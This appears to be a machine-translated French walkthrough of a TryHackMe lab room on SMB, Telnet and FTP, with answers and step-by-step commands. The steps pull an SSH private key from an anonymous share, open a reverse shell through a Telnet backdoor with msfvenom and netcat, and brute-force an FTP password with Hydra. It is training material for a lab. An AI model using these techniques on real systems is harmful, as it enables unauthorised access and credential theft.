Ceci est un article pour la salle TryHackMe.com, Network Services, créée par Polomints.
Cet article inclura les réponses à la plupart des questions, mais, comme demandé par TryHackMe, il n'inclura pas les indicateurs ou les mots de passe.
Cette salle se trouve dans le parcours d’apprentissage Cyber Défense au moment de la rédaction et ici.
Vous pouvez trouver ma vidéo pas à pas ICI.
Les tâches dans cette salle suivent un modèle répété : comprendre, énumérer et exploiter. Les tâches de compréhension vous renseignent sur le service que vous allez exploiter. Les tâches d'énumération vous apprennent à collecter des données sur le service. Et puis, les tâches d'exploitation vous demandent d'exécuter l'exploit pour chaque service.
Les machines virtuelles utilisées par cette salle se trouvent toutes dans les tâches d'énumération, indiquées par l'icône de pile verte. . Étant donné que le démarrage des machines virtuelles peut prendre entre 1 et 5 minutes, je vous recommande, avant de démarrer une tâche de compréhension, de descendre jusqu'à la tâche d'énumération et de démarrer la machine. Cela lui donne le temps de se configurer pendant que vous revenez en arrière et exécutez la tâche Comprendre.
Supposons également que vous soyez aussi nouveau que moi sur TryHackMe. Dans ce cas, vous ne disposez peut-être que de machines virtuelles expérimentées auxquelles vous pouvez vous connecter avec OpenVPN en saisissant leur adresse IP dans votre navigateur, généralement avec un numéro de port mentionné dans les tâches, qui vous amène ensuite à une interface graphique. Ce n'est pas le cas de cette pièce. Ces machines virtuelles sont configurées pour fournir les services que vous testez et uniquement ces services. Cela signifie que vous utiliserez un terminal sur votre machine locale, la Attack Box, ou si vous êtes un utilisateur premium, la Kali box basée sur un navigateur pour communiquer avec les VM. J'ai utilisé la boîte Kali basée sur un navigateur.
Si vous utilisez votre machine locale, je vous suggère d'utiliser soit une machine Linux, soit un sous-système Windows pour Linux avec Kali/votre version préférée installée. Tous les outils dont vous aurez besoin sont préinstallés avec Kali mais peuvent être ajoutés à d'autres distributions. De plus, je n'ai pas de sous-système Windows pour Linux fonctionnant sur ma machine, vous devrez donc peut-être comprendre certaines choses vous-même.
Il y a une partie qui nécessite un fichier fourni dans la machine Kali basée sur le navigateur/l'Attack Box. Si vous souhaitez utiliser votre machine locale, vous devrez démarrer l'Attack Box et télécharger ce fichier. Vous pouvez également utiliser la boîte d'attaque uniquement pour la tâche 10.
@@ J'ai appris par la suite que vous pouvez télécharger le fichier depuis son GitHub à l'adresse rockyou.txt. C'est de loin la méthode la plus simple, mais je vais laisser ces instructions supplémentaires ici au cas où quelqu'un voudrait les essayer. @@
Comment télécharger à l'aide de WinSCP sur Windows 10
Si vous souhaitez télécharger le fichier de 136 Mo et utiliser votre terminal local, voici comment procéder sur une machine Windows. Pour le transfert, j'ai utilisé WinSCP. Tout d’abord, démarrez la boîte d’attaque splitview. Puis une fois que vous avez accès au Bureau, cliquez sur le « i » situé en bas à gauche de l’écran . Cela vous donnera l'adresse IP, le nom d'utilisateur et le mot de passe de l'Attack Box. Ensuite, dans WinSCP, sur l'écran de connexion, sélectionnez « Nouveau site », puis entrez l'adresse IP de la boîte d'attaque comme nom d'hôte, le nom d'utilisateur comme nom d'utilisateur et le mot de passe comme mot de passe.
Gardez à l'esprit ; vos informations seront différentes des miennes. Sélectionnez sftp comme protocole et il devrait remplir automatiquement le port 22 ; sinon, tapez 22 pour le port. Cliquez ensuite sur connexion. Vous recevrez probablement une fenêtre contextuelle vous demandant si vous souhaitez « Continuer la connexion à un serveur inconnu… » Cliquez sur Oui. Une fois connecté, vous serez dans le répertoire racine de l’Attack Box ; double-cliquez sur « Outils » puis « listes de mots » (le chemin dans WinSCP deviendra /usr/share/wordlists/
c'est très bien.) Recherchez le fichier nommé rockyou.txt, sélectionnez-le et cliquez sur télécharger.
La boîte de dialogue Télécharger s'ouvrira, sélectionnez le chemin de fichier souhaité et cliquez sur OK. Vous disposez maintenant du fichier dont vous avez besoin pour la tâche 10. N'oubliez pas son chemin d'accès ; vous en aurez besoin.
Fin, Comment télécharger à l'aide de WinSCP sur Windows 10
Comment télécharger à l'aide d'un terminal Linux
Tout comme avec Windows, vous allez démarrer la boîte d'attaque en vue fractionnée. Puis une fois que vous avez accès au Bureau, cliquez sur le « i » situé en bas à gauche de l’écran . Cela vous donnera l'adresse IP, le nom d'utilisateur et le mot de passe de l'Attack Box.
Dans votre terminal, vous allez taper sftp root@{Your Attack Box Private IP}
sans les crochets. Supprimez toujours les accolades lors de l’exécution de commandes dans cet article. Le nom d'utilisateur de chaque Attack Box que j'ai vu est root ; si le vôtre est différent, entrez le nom d'utilisateur à la place de root dans la commande ci-dessus. Il vous demandera alors le mot de passe. Copiez et collez le mot de passe à partir de la fenêtre Informations sur la machine de la boîte d'attaque. Ne vous inquiétez pas si le mot de passe n'apparaît pas ; collez/tapez-le simplement et appuyez sur Entrée. Après la connexion, vous devriez recevoir une invite sftp>
. Si quelque chose ne va pas, vérifiez que vous êtes connecté à OpenVPN et que vous utilisez le bon nom d'utilisateur/adresse IP/mot de passe. Une fois que vous avez l'invite sftp
, tapez get /root/Desktop/Tools/wordlists/rockyou.txt
, en accordant une attention particulière à la capitalisation. Il devrait commencer à télécharger le fichier sur votre système local.
Si vous utilisez une distribution similaire à la mienne (Kali), elle doit déposer le fichier dans le dossier personnel de votre utilisateur. N'oubliez pas le chemin du fichier ; vous en aurez besoin pour la tâche 10.
Fin, Comment télécharger à l'aide d'un terminal Linux
Maintenant que tout cela est réglé, passons aux tâches !
Cette tâche est purement informative et ne nécessite pas de réponse à la question. Le lire vous permet de savoir que vous avez besoin d'une compréhension de base de la navigation sur les systèmes Linux et suggère une salle pour parfaire vos compétences. Cela vous rappelle également de rester hydraté.
Cliquez sur le bouton Terminé et passez à la tâche suivante.
Cette tâche vous présente le service Microsoft Server Message Block (SMB), un protocole client-serveur utilisé pour partager l'accès aux fichiers, imprimantes et autres ressources sur un réseau. Comme il s’agit d’une tâche théorique, lisez les informations et répondez aux questions ci-dessous. Si vous n'avez jamais vu le mot NetBEUI auparavant, et je ne vous en voudrais pas si vous ne l'aviez pas vu, il se prononce Net Buoy, comme une bouée océanique.
Si vous souhaitez minimiser votre temps d'attente, je vous recommande d'ouvrir la tâche 3 et de cliquer maintenant sur le bouton vert « Démarrer la machine », puis de faire défiler vers le haut et d'exécuter cette tâche.
Question 1
Que signifie PME ?
Bloc de messages du serveur
Question 2
Quel type de protocole est SMB ?
demande de réponse
Question 3
Avec quoi les clients se connectent-ils aux serveurs ?
TCP/IP
Question 4
Sur quels systèmes Samba fonctionne-t-il ?
Unix
Cette tâche couvre l'étape de collecte d'informations qui est cruciale pour mettre en place une exploitation réussie.
Si vous avez suivi les instructions ci-dessus, vous avez déjà démarré la machine pour cette tâche avant de terminer la tâche 2. Sinon, démarrez la machine maintenant en cliquant sur le bouton vert intitulé « Démarrer la machine ». Une fois la machine entièrement opérationnelle, vous verrez l'adresse IP en haut de la page ; vous en aurez besoin.
Il commence par une brève description de l'outil d'analyse de ports Nmap. Si vous souhaitez/avez besoin de plus d'expérience avec Nmap avant de continuer, il vous recommande une salle qui fait partie de la série Red Primer. Les deux seules options que vous aurez besoin de connaître pour cette salle sont -A
, qui active la détection du système d'exploitation, la détection de version, l'analyse des scripts et le traceroute, et l'option -p-
, qui indique à Nmap d'analyser tous les ports, pas seulement le 1000 les plus courants. La syntaxe des analyses Nmap que nous utiliserons ici est nmap {options} {target}
. Ainsi, pour la première analyse, cela ressemblera à nmap -A -p- 10.10.10.10
avec l'adresse IP de votre machine active à la place des 10. Cette capture d'écran montre où vous trouverez l'adresse IP de votre machine. Assurez-vous d'utiliser l'adresse IP de votre machine active et ne copiez pas simplement celle que vous voyez ici.
Nous allons également utiliser l'outil enum4linux, qui était nouveau pour moi. enum4linux est utilisé pour énumérer les partages SMB sur les systèmes Windows et Linux. Il existe une liste des options enum4linux disponibles ; cependant, c'est l'option -a
, qui les couvre tous, que j'ai utilisée. Remarque : les informations fournies pour enum4linux décrivent l'option comme -A
avec une lettre majuscule, ce qui est incorrect ; il doit s'agir d'un a
minuscule.
Question 1
Effectuez une analyse Nmap de votre choix. Combien de ports sont ouverts ?
Pour cette question, vous pouvez effectuer une analyse Nmap de base de nmap {IP of your Active Machine}
. Cependant, si vous souhaitez exécuter une analyse et obtenir presque toutes les informations pour les questions suivantes, exécutez nmap -A -p- {IP of your Active Machine}
. Voici les informations que vous obtenez avec l’analyse de base.
Comme vous pouvez le voir sur les résultats de l’analyse, il y a 3 ports ouverts, 22, 139 et 445. Cependant, nous n’avons pas besoin de grand-chose d’autre.
Question 2
Sur quels ports SMB fonctionne-t-il ?
Cette question est un peu plus délicate. SMB fait partie de Microsoft-ds sur le port 445, mais il peut fonctionner sur NetBIOS sur 139. La réponse à cette question est donc les deux.
139/445
Question 3
Commençons par enum4linux, effectuons une énumération de base complète. Pour commencer, quel est le nom du groupe de travail ?
Pour cette question, si vous avez exécuté nmap -A {Your Machine's IP}
, vous disposez déjà de ces informations.
Cependant, cette question nous apprend enum4linux, alors utilisons-la. Exécutez enum4linux -a {IP Address of your Active Machine}
.
Comme vous pouvez le voir sur les captures d'écran ci-dessus, le groupe de travail est répertorié sous le nom WORKGROUP.
Question 4
Quel est le nom de la machine ?
Pour cette question, vous devrez faire défiler jusqu'à la section « Résultats du script hôte » des résultats de l'analyse si vous avez utilisé nmap -A -p-
.
Sous le nom de l'ordinateur, il affiche polosmb
.
Pour enum4linux, vous devez faire un peu plus d'inférence.
Question 5
Les captures d'écran ci-dessus contiennent également la réponse à cette question.
Quelle version du système d'exploitation est en cours d'exécution ?
6.1
Question 6
Cette question ne peut être répondue qu'avec enum4linux. Exécutez enum4linux -A {IP of your Active Machine}
Quelle part ressort comme quelque chose sur lequel nous pourrions vouloir enquêter ?
IPC$ est une communication interprocessus ; je n'aurai pas besoin de ça. print$ est destiné aux pilotes d'imprimante, ce qui n'est pas non plus vraiment ce que nous voulons. netlogon pour le service de connexion réseau, nous n'aurons probablement pas les informations dont nous avons besoin. Cela laisse profiles
qui contiennent des informations sur les profils utilisateur. Cela a du potentiel. Nous pourrons peut-être y trouver les informations de connexion d'un utilisateur.
C'est là que nous nous amusons encore plus. Nous utiliserons le SMBClient, qui est disponible sur Kali mais peut être ajouté à d'autres distributions. Pour le SMBClient, nous allons utiliser la syntaxe smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
.
Question 1
Quelle serait la syntaxe correcte pour accéder à un partage SMB appelé « secret » en tant que « costume » d'utilisateur sur une machine avec l'IP 10.10.10.2 sur le port par défaut ?
En regardant la syntaxe ci-dessus, nous pouvons simplement insérer les informations.
smbcliet //10.10.10.2/secret -U suit -p 445
Question 2 Super ! Maintenant que vous maîtrisez la syntaxe, essayons d'exploiter cette vulnérabilité. Vous disposez d'une liste d'utilisateurs, du nom du partage et d'une vulnérabilité suspectée.
Aucune réponse requise ; cliquez simplement sur Terminer.
Question 3
Voyons si notre partage intéressant a été configuré pour permettre un accès anonyme, c'est-à-dire ; il ne nécessite pas d'authentification pour afficher les fichiers. Nous pouvons le faire facilement en :
en utilisant le nom d'utilisateur "Anonyme"
connexion au partage que nous avons trouvé lors de l'étape d'énumération
et ne pas fournir de mot de passe
Lorsqu'il demande le mot de passe, appuyez simplement sur Entrée.
Le partage permet-il un accès anonyme ? O/N ?
Si vous voyez l'invite smb: >, cela signifie que vous vous êtes connecté avec succès sans fournir le mot de passe. Ainsi, Y
le partage permet un accès anonyme.
Question 5
Entrez ls
pour afficher le contenu du partage. Que voyez-vous qui semble contenir des informations pour nous ?
Le premier qui m'a sauté aux yeux était le fichier texte. Gardez maintenant à l’esprit que Linux n’aime pas les fichiers avec des espaces dans leurs noms, vous devrez donc ajouter « » autour dans vos commandes. En parlant de cela, comme le dit le terminal, en tapant « aide », vous obtiendrez une liste des commandes disponibles, ce que j'ai trouvé très utile.
Habituellement, j'utiliserais cat
pour afficher le contenu du fichier .txt, mais il ne figure pas dans la liste. Il semble que SMBClient ne connaisse pas celui-là, alors j'ai opté pour more
.
Ce fichier nous donne deux informations importantes, un nom d'utilisateur potentiel, basé sur John Cactus, l'adresse du fichier et le fait que John a configuré un compte SSH.
Super! Recherchez tous les documents intéressants qui pourraient contenir des informations précieuses. À qui pouvons-nous supposer que ce dossier de profil appartient ?
Jean Cactus
Question 6
La lecture du fichier .txt de la question précédente nous donne également la réponse à celle-ci.
Quel service a été configuré pour lui permettre de travailler à domicile ?
SSH
Question 7
Maintenant que nous en avons terminé avec le fichier .txt, appuyez sur « q » pour quitter l'éditeur.
D'accord! Maintenant que nous savons ceci, dans quel répertoire du partage devons-nous rechercher ?
Étant donné que nous recherchons plus d'informations sur le compte SSH de John, je pense qu'il y a ici un dossier qui pourrait être très utile ; à votre avis, lequel est-ce ?
.ssh
Question 8
Ce répertoire contient des clés d'authentification qui permettent aux utilisateurs de s'authentifier sur puis d'accéder à un serveur. Laquelle de ces clés nous est la plus précieuse ?
Nous allons donc cd dans le dossier .ssh en entrant cd .ssh
. Exécutez ensuite à nouveau la commande ls
pour afficher le contenu.
La clé SSH par défaut est stockée dans le fichier id_rsa
. Voilà donc notre réponse.
Si vous souhaitez voir à quoi ressemble une clé SSH, vous pouvez utiliser à nouveau la commande more pour voir. more id_rsa
. Les parties les plus importantes à voir sont qu'il commence par « BEGIN RSA PRIVATE KEY » avec 5 tirets de chaque côté. Et puis se termine par « END RSA PRIVATE KEY » également avec 5 tirets de chaque côté. Puis à nouveau « q » pour quitter l'éditeur.
Maintenant, nous pouvons faire quelques reconnaissances supplémentaires pour rendre la question suivante un peu plus facile. Exécutez more id_isa.pub
. Et voyez ce que vous pouvez voir à la toute fin du fichier.
Question 9
Téléchargez ce fichier sur votre ordinateur local et modifiez les autorisations en « 600 » en utilisant « chmod 600 [fichier] ».
Pour télécharger le fichier, jetez un œil à la commande d'aide et voyez quelle commande, selon vous, conduirait le plus probablement à un téléchargement.
Je pense get
fonctionnerait à merveille. Ainsi, pour télécharger le fichier alors qu'il est encore dans le dossier .ssh, vous exécuterez get id_rsa
. Sur la machine basée sur le navigateur Kali, le fichier sera déposé dans votre répertoire racine. Si vous utilisez une distribution Linux exécutée localement, elle la déposera probablement dans le répertoire personnel de votre utilisateur.
Désormais, les fichiers de clé RSA nécessitent un certain niveau de sécurité pour fonctionner, nous devons donc définir les autorisations correctes pour ce fichier. Nous sommes également en panne avec le partage, alors exécutez quit
pour revenir à l'invite de votre machine. Ensuite, exécutez chmod 600 {File Path}
Donc, pour la machine Web Kali, chmod 600 id_rsa
. Pour les autres machines, vous pouvez soit accéder au dossier dans lequel se trouve le fichier à l'aide cd
, puis exécuter la commande ci-dessus, en tapant le chemin d'accès au fichier dans la commande.
Maintenant, utilisez les informations que vous avez déjà recueillies pour déterminer le nom d'utilisateur du compte. Ensuite, utilisez le service et la clé pour vous connecter au serveur.
Depuis que nous avons effectué cette petite reconnaissance supplémentaire, nous savons que le nom d'utilisateur est « cactus ». Lorsque j'ai parcouru cela pour la première fois, j'ai supposé que le nom d'utilisateur serait j.cactus et j'ai rencontré une erreur que je n'ai pas comprise : trouver le nom d'utilisateur correct l'a résolu.
La syntaxe pour SSH utilisant une clé spécifiée est : ssh -i {Key File} {Username}@{IP Address}
. Donc pour nous, ce sera ssh -i id_rsa cactus@{Active Machine's IP Address}
Lorsqu'il vous demande si vous êtes sûr de vouloir continuer, tapez « oui » et appuyez sur Entrée. Félicitations! Lorsque vous voyez l'invite changer en cactus@polosmb:~$
, vous êtes maintenant connecté avec succès à un serveur sur un compte qui n'est pas le vôtre.
Utilisez la commande ls
pour voir ce qu'il y a ici, un seul fichier ; ouvrez-le pour pouvoir capturer ce drapeau ! Vous pouvez utiliser cat
ici pour imprimer le contenu à l'écran.
Question 10
Copiez le contenu du fichier que vous venez d'ouvrir et collez-le dans la case correspondant à cette réponse. TryHackMe demande aux articles d'exclure les drapeaux, je ne vais donc pas le publier ici.
Une fois la section SMB terminée, vous devez mettre fin à la machine active actuelle, passer à la tâche 6 et démarrer cette machine avant de revenir à la tâche 5.
Telnet est un protocole d'application obsolète. Il est utilisé pour interagir avec des hôtes distants. Une fois connecté au système distant, il devient un terminal virtuel pour ce système. Cependant, il est obsolète car il envoie toutes ses informations en texte clair ; il n'y a pas de cryptage. Comme il est beaucoup plus sécurisé, SSH a supplanté Telnet dans la plupart des situations. Pour vous connecter à un système distant à l'aide de Telnet, vous utilisez la syntaxe telnet {IP Address} {port Number}
. Le port par défaut pour Telnet est 23.
Question 1
Qu’est-ce que Telnet ?
Protocole d'application
Question 2
Qu'est-ce qui a lentement remplacé Telnet ?
SSH
Question 3
Comment vous connecteriez-vous à un serveur Telnet avec l'IP 10.10.10.3 sur le port 23 ?
telnet 10.10.10.3 23
Question 4
L'absence de quoi signifie que toutes les communications Telnet sont en texte clair ?
Cryptage
Si vous n'avez pas encore démarré la machine pour cette tâche, faites-le maintenant.
Comme pour les tâches SMB, nous commencerons par exécuter une analyse des ports de notre système cible.
Exécutez nmap -A -p- {IP address of your Active Machine}
Cette analyse peut prendre un certain temps. Le mien a été terminé en 174,56 secondes.
Question 1
Combien de ports sont ouverts sur la machine cible ?
Il n’y a qu’un seul port « 1 » ouvert.
Question 2
De quel port s'agit-il ? Remarque : Il s'agit de demander quel port est ouvert.
8012
Question 3
Ce port n'est pas attribué mais répertorie toujours le protocole qu'il utilise ; de quel protocole s'agit-il ?
TCP
Question 4
Réexécutez maintenant l'analyse Nmap, sans la balise -p- ; combien de ports apparaissent comme ouverts ?
N'oubliez pas que l'option -p-
indique à Nmap d'analyser tous les ports, donc en la supprimant, Nmap n'analysera que les 1000 premiers ports.
Les ports « 0 » sont ouverts.
Question 5
Nous voyons que l'attribution de Telnet à un port non standard ne fait pas partie de la liste des ports communs ni des 1000 premiers ports analysés par Nmap. Il est essentiel d'essayer tous les angles lors de l'énumération, car les informations que vous rassemblez ici éclaireront votre étape d'exploitation.
Aucune réponse n'est nécessaire ; cliquez sur Terminer
Question 6
Sur la base du titre qui nous a été renvoyé, à quoi pensons-nous que ce port pourrait servir ?
Vous pouvez voir de quoi parle cette question au bas de la dernière capture d'écran.
Une porte dérobée
Question 7
À qui pourrait-il appartenir ? La collecte des noms d'utilisateurs possibles est une étape essentielle dans une énumération.
Identique à la dernière question, informations dans la dernière capture d'écran.
Skidique
Question 8
Gardez toujours une note des informations que vous trouvez au cours de votre étape d'énumération, afin de pouvoir vous y référer lorsque vous essayez des exploits.
Prendre des notes est très important. La rédaction de rapports sur nos découvertes est un élément important de la sécurité. Prendre l’habitude de prendre des notes minutieusement rend tout plus facile.
Aucune réponse n'est nécessaire ; cliquez sur Terminer
Répartition de la méthode
Ainsi, dès notre étape de dénombrement, nous savons :
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
En utilisant ces informations, essayons d'accéder à ce port Telnet et de l'utiliser comme point d'appui pour obtenir un shell inversé complet sur la machine !
N'oubliez pas ci-dessus, la syntaxe de telnet est telnet {Machine IP} {Port}
Question 1
D'accord, essayons de nous connecter à ce port telnet ! Si vous êtes bloqué, jetez un œil à la syntaxe de connexion décrite ci-dessus.
Pour cela, vous devrez exécuter telnet {Your Active Machine's IP Address} 8012
car même si le port par défaut pour Telnet est 23, comme nous l'avons trouvé dans notre recherche Nmap, ce système l'a sur un port non standard.
Aucune réponse n'est nécessaire ; cliquez sur terminer.
Question 2
Super! C'est une connexion Telnet ouverte ! Quel message de bienvenue recevons-nous ?
LA PORTE ARRIÈRE DE SKIDY.
Question 3
Essayons d'exécuter quelques commandes. Obtenons-nous un retour sur toute entrée que nous entrons dans la session telnet ? (O/N)
Pour celui-ci, tapez toutes les commandes que vous souhaitez. J'ai essayé ls
pour voir ce qu'il y avait là. Et comme nous ne recevons aucune information, la réponse à cette question est :
N
Question 4
Hmm... c'est étrange. Vérifions si ce que nous tapons est exécuté en tant que commande système.
Aucune réponse n'est nécessaire ; cliquez sur Terminer.
Question 5
Étant donné que toutes vos commandes sont envoyées dans le vide, il est un peu difficile de fermer cette connexion. Pour être invité à modifier quelque chose d'utile, appuyez sur ctrl + ]
. Il s'agit simultanément du contrôle et de la touche crochet droit, ce qui devrait modifier votre invite en telnet>
, puis tapez close
et appuyez sur Entrée. Vous devriez maintenant revenir à votre invite habituelle. Ou, si vous le souhaitez, vous pouvez laisser la session telnet connectée et ouvrir un nouvel onglet/fenêtre pour exécuter le tcpdump suivant.
Démarrez un écouteur tcpdump sur votre ordinateur local.
Un écouteur tcpdump surveillera le trafic de l'interface sélectionnée, puis enregistrera ce trafic à l'écran. Vous allez le démarrer puis le laisser fonctionner dans son propre onglet/fenêtre.
Si vous utilisez votre propre machine avec la connexion OpenVPN, utilisez :
sudo tcpdump ip proto icmp -i tun0
Si vous utilisez l'AttackBox, utilisez :
sudo tcpdump ip proto icmp -i eth0
Cela démarre un écouteur tcpdump, écoutant explicitement le trafic ICMP, sur lequel les pings opèrent.
La différence entre les deux réside dans l'interface réseau. Sur votre machine Linux locale, vous êtes censé utiliser tun0, qui est le périphérique de tunneling qui devrait être la connexion OpenVPN, mais ne me citez pas à ce sujet. Vous devrez peut-être exécuter sudo ifconfig
pour déterminer quelle interface vous devez utiliser.
Aucune réponse n'est nécessaire ; cliquez sur Terminer
Question 6
Pour cette question, nous utiliserons à nouveau la session telnet ; si vous l'avez encore ouvert, tant mieux. Sinon, ouvrez un nouvel onglet/une nouvelle fenêtre et reconnectez-vous à la machine en suivant les mêmes étapes ci-dessus. Notez que vous aurez besoin de l'adresse IP du système sur lequel vous travaillez, soit l'Attack Box, la Kali Machine ou votre système local, pour cette question.
Cette question nous demande d'exécuter la commande ping via la session telnet. Nous allons entrer .RUN ping {Local IP Address} -c 1
. Cela va envoyer 1 ping de l'hôte distant à notre machine locale. Si vous pouvez afficher les deux fenêtres simultanément, vous pouvez voir ce qui se passe au fur et à mesure.
Maintenant, utilisez la commande « ping [local THM ip] -c 1 » via la session telnet pour voir si nous sommes capables d'exécuter des commandes système. Est-ce que nous recevons des pings ? Notez que vous devez faire précéder cela de .RUN (O/N)
Vous devriez voir à la fois la demande ping et la réponse ping sur votre onglet avec l'écouteur tcpdump.
Oui
Question 7
Super! Cela signifie que nous pouvons exécuter des commandes système ET que nous pouvons atteindre notre machine locale. Maintenant, amusons-nous !
Aucune réponse n'est nécessaire ; cliquez sur Continuer
Question 8
Pour cette question, vous quitterez la session telnet et la saisirez dans un autre onglet/fenêtre. Vous pouvez appuyer sur ctrl + c
pour terminer l'écouteur tcpdump et utiliser cette fenêtre ; nous n'avons plus besoin du tcpdump. Exécutez la commande ci-dessous avec l'adresse IP de votre système local branchée là où se trouvent les crochets, mais laissez les crochets. Une fois que vous avez appuyé sur Entrée sur la commande, il faudra un moment pour générer la charge utile, puis l'imprimer à l'écran.
Nous allons générer une charge utile de shell inversé en utilisant msfvenom. Cela générera et encodera un shell inverse netcat pour nous. Voici notre syntaxe :
"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"
-p = payload lhost = notre adresse IP localhost (c'est l'adresse IP de votre machine) lport = le port sur lequel écouter (c'est le port de votre machine) R = exporter la charge utile au format brut
Par quel mot commence la charge utile générée ?
mkfifo
Question 9
Parfait. Nous y sommes presque. Il ne nous reste plus qu'à démarrer un écouteur netcat sur notre machine locale. Nous faisons cela en utilisant :
"nc -lvp [port d'écoute]"
À quoi ressemblerait la commande pour le port d’écoute que nous avons sélectionné dans notre charge utile ?
nc-lvp 4444
Question 10
Super! Maintenant, c'est en cours ; nous devons copier et coller notre charge utile msfvenom dans la session telnet et l'exécuter en tant que commande. Espérons que cela nous donnera un shell sur la machine cible !
N'oubliez pas que pour que la commande fonctionne dans la session telnet ; vous devez avoir .RUN au début.
Aucune réponse n'est nécessaire ; cliquez sur terminer.
Question 11
Succès! Quel est le contenu de flag.txt ?
Si le shell inversé a fonctionné, vous devriez voir « se connecter à [10.10.xx] depuis IP, etc... » sous l'écouteur netcat.
À partir de là, vous pouvez saisir des commandes comme d'habitude et les envoyer au système distant.
Je suggère de commencer par ls
pour voir quels fichiers s'y trouvent, et vous devriez être en mesure de comprendre le reste car vous avez déjà capturé un drapeau comme celui-ci auparavant.
Ceci conclut la section sur Telnet. Alors, mettez fin à la machine active actuelle, passez à la tâche 9, démarrez cette machine, puis revenez à la tâche 8.
FTP, protocole de transfert de fichiers. Comme son nom l'indique, il est utilisé pour transférer des fichiers sur un réseau. Le FTP classique est obsolète et a été remplacé par quelques normes différentes et plus sécurisées. FTPS est FTP sur TLS, donc son port par défaut est toujours 21, tout comme FTP. L'autre est SFTP, qui est Secure File Transfer Protocol et utilise SSH, son port par défaut est donc 22.
Question 1
Quel modèle de communication FTP utilise-t-il ?
Client-serveur
Question 2
Quel est le port FTP standard ?
21
Question 3
Combien de modes de connexion FTP existe-t-il ?
2
Nous allons travailler avec un client FTP. Pour vérifier qu'un client FTP est installé sur votre système, vous pouvez saisir ftp
et vous devriez être redirigé vers une invite ftp>
. Sinon, il vous suffit de l'installer via sudo apt install ftp
.
Question 1
Nous allons à nouveau utiliser Nmap pour énumérer ce serveur FTP. En parcourant les questions suivantes, vous aurez besoin de plus d'informations que ce que vous obtiendriez d'une analyse de base, j'ai donc opté pour nmap {Active Machine IP Address} -A -p-
.
Combien de ports sont ouverts sur la machine cible ?
Cette question est un peu bizarre. En regardant ma bonne réponse alors que je parcourais cette pièce, il est écrit 2. L'analyse que je viens de faire montre que seul le port 21 est ouvert. Je suggère de commencer par 1 et si cela ne fonctionne pas, dites 2.
Question 2
Sur quel port FTP s’exécute-t-il ?
21
Question 3
Quelle variante de FTP est exécutée dessus ?
vsftpd
Question 4
Génial, nous savons maintenant à quel type de serveur FTP nous avons affaire ; nous pouvons vérifier si nous pouvons nous connecter de manière anonyme au serveur FTP. Nous pouvons le faire en tapant ftp [IP]
dans la console et en entrant « anonyme » et sans mot de passe lorsque vous y êtes invité.
Quel est le nom du fichier dans le répertoire FTP anonyme ?
PUBLIC_NOTICE.txt
Question 5
Pour cette question, vous utiliserez à nouveau la commande get
, comme avec Telnet. Entrez get PUBLIC_NOTICE.txt
Cela téléchargera le fichier sur votre système afin que vous puissiez voir son contenu. Vous n'avez plus besoin d'être connecté au serveur FTP, alors entrez exit
pour revenir à votre invite standard.
Maintenant, vous devrez trouver le fichier que vous venez de télécharger. Pour la machine Kali basée sur un navigateur, il est déposé dans votre répertoire racine. Il doit se trouver dans le même répertoire que le fichier que vous avez obtenu lors des tâches telnet.
Une fois que vous l'avez trouvé sur votre système, il est temps de le lire. Accédez au dossier dans lequel il se trouve ou entrez le chemin complet du fichier à l’aide de la commande cat
. cat PUBLIC_NOTICE.txt
et voyez si vous pouvez voir des informations qui pourraient nous être utiles ; quelque chose qui pourrait être un nom d'utilisateur, peut-être ?
Selon nous, quel pourrait être un nom d’utilisateur possible ?
micro
Question 6
Super! Nous avons maintenant des détails sur le serveur FTP et, surtout, un éventuel nom d'utilisateur. Voyons ce que nous pouvons faire avec ça...
Aucune réponse n'est nécessaire ; cliquez sur Terminer.
Pour cette tâche particulière, nous utiliserons le nom d'utilisateur mike
que nous connaissons déjà et tenterons de forcer brutalement son mot de passe. C'est là que le fichier rockyou.txt
entre en jeu ; c'est une liste de mots de passe. Si vous utilisez votre propre système local, rappelez-vous où vous l'avez téléchargé et utilisez-le pour le chemin du fichier. L'outil que nous allons utiliser s'appelle Hydra. Hydra peut récupérer une liste de mots de passe et les tester sur un système pour voir s'ils fonctionnent.
La page TryHackMe présente une description détaillée de la syntaxe que nous utiliserons pour cette attaque. Je suggère fortement de le lire.
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
Selon le système que vous utilisez, le chemin de votre fichier peut varier. De plus, si vous utilisez la machine Kali basée sur un navigateur, vous aurez une étape supplémentaire. Sur la machine Kali, la liste de mots est compressée dans un fichier GZ. Nous devons le décompresser. Dans votre terminal, saisissez gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
. Après un moment, vous aurez le fichier non compressé dont vous avez besoin.
Pour trouver le mot de passe correct, vous allez entrer hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
.
Si tout a réussi, le mot de passe devrait être affiché comme dernière entrée de la liste.
Quel est le mot de passe de l'utilisateur « mike » ?
Vous pouvez le trouver dans la sortie d’Hydra.
Question 2
Bingo ! Maintenant, connectons-nous au serveur FTP en tant qu'utilisateur en utilisant « ftp [IP] » et en saisissant les informations d'identification lorsque vous y êtes invité.
Nous allons maintenant nous connecter en utilisant nos informations d'identification nouvellement trouvées.
Saisissez ftp {Your Active Machine IP Address}
. Entrez ensuite mike
comme nom d'utilisateur et la réponse à la question précédente comme mot de passe. Vous devriez maintenant avoir l'invite ftp>
.
Aucune réponse n'est nécessaire ; cliquez sur terminer.
Question 3
Utilisez ls
pour voir le contenu du répertoire. Deux fichiers ici. Le .txt est probablement celui qui sera lisible par l'homme. Utilisez la commande get
pour le télécharger sur votre système. Maintenant que vous avez fait cela plusieurs fois, vous devriez pouvoir trouver le fichier et afficher son contenu. Si vous rencontrez des difficultés, vous pouvez faire défiler vers le haut et trouver les instructions des autres tâches.
Qu'est-ce que le ftp.txt ?
Félicitations! Vous avez capturé votre troisième drapeau et terminé la partie activité de la salle ! Super travail !
Cette tâche propose quelques endroits à consulter pour approfondir vos lectures sur des sujets connexes.
Aucune réponse n'est nécessaire ; cliquez sur Terminer.
Vous avez bien réussi à traverser cette pièce. Cela a peut-être semblé intimidant au début, cela a peut-être été un jeu d’enfant, mais vous l’avez fait.
Un grand merci à Polomints pour la création de cette salle et à TryHackMe pour avoir mis en place cet excellent site.